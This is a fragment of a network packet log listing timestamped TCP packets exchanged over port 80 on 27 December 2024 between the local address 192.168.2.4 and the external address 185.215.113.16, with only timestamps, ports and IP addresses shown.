Dec 27, 2024 09:00:29.677908897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677923918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677931070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.677942991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678153992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.678164959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678240061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678253889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678318024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.678318024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.678354979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678368092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678381920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678450108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.678625107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678738117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678755999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678775072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.678842068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678854942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678868055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678880930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.678900957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.678900957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.678936958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.831085920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831120014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831134081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831216097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.831265926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831322908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831335068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831338882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.831346035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831382036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831393003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831412077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.831412077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.831520081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831532001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831545115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831584930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.831584930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.831614971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831628084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.831660032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.832700014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.832729101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.832741022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.832784891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.832855940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.832868099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.832881927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.832896948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.832946062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.832946062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.832983971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833038092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833050013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833132029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833158970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.833179951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833192110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833205938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833240986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.833240986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.833609104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833672047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833683968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833755016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.833771944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833808899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.833849907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.834007025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834045887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.834142923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834778070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834791899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834804058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834836006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.834856033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.834912062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834923029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834934950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834947109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.834995985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.834995985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.835030079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835098982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835109949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835166931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.835283995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835335970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.835357904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835370064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835465908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835469007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.835477114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.835582972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836050034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836119890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836134911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836215019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836225986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836235046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836237907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836251020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836263895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836278915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836323977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836339951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836339951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836343050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836354017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836366892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836385012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836420059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836502075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836513996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836565018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.836916924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836941004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.836952925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837003946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.837074995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837085962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837105036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837112904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.837116957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837161064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.837284088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837296963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837308884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837409019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.837409019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.837934971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837970018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.837980986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838016987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.838053942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838104010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.838365078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838515043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838526964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838557005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838566065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.838572025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838633060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.838654041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838665962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.838716984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.862442970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.878489971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878525972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878540039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878593922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.878599882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878613949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878628016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878633022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.878638983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878693104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.878693104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.878782034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878794909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878842115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.878885031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878933907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878947973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.878988028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.879035950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879086971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879100084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879112005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879120111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.879204988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.879225969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879239082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879250050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879297018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.879817009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879843950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879843950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.879858017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879905939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879914999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.879925966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879956961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.879961014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879973888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.879996061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.880043983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:29.880095005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:29.889731884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.032229900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032269001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032280922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032360077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032408953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032422066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032434940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032509089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032572985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032584906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032596111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032608986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.032649994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.032650948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.032650948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.032650948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.032650948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.032650948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.032778978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.033221006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.033865929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.033925056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.033936024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.033966064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.033966064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.034065962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034077883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034090042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034102917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034214020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034225941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034239054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034379005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034424067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034437895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034451008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034461021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.034461021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.034461021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.034461021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.034461021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.034848928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034890890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.034903049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.035031080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.035043955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.035058022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.035069942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.035341024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.035341024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.035341024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.035341024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.035973072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036029100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036041021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036164999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036176920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036189079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036201954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036288977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036362886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036375046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036429882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036468983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.036468983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.036468983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.036468983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.036468983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.036468983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.036608934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036674976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036688089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.036711931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037097931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037098885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.037098885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.037184000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037209034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037307978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.037309885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037322044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037333965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037429094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.037429094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.037440062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037452936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037683964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037729025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.037740946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037751913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037833929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037846088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037873983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.037888050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038116932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.038116932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.038116932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.038275003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038357019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038367987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038481951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.038481951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.038491011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038502932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038516045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038527966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038678885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038691998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.038703918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039180040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.039180040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.039180040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.039237976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039303064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039323092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039343119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.039376974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039421082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039433002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039444923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039546013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.039546013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.039546013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.039546967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039591074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.039603949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.040245056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.045573950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.079705954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.079735041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.079746962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.079813004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.079819918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.079891920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.079902887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.079916954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.079931021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.079957962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.079982996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080002069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080024004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.080070972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080123901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.080158949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080169916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080183029 CET	80	49743	185.215.113.16	192.168.2.4
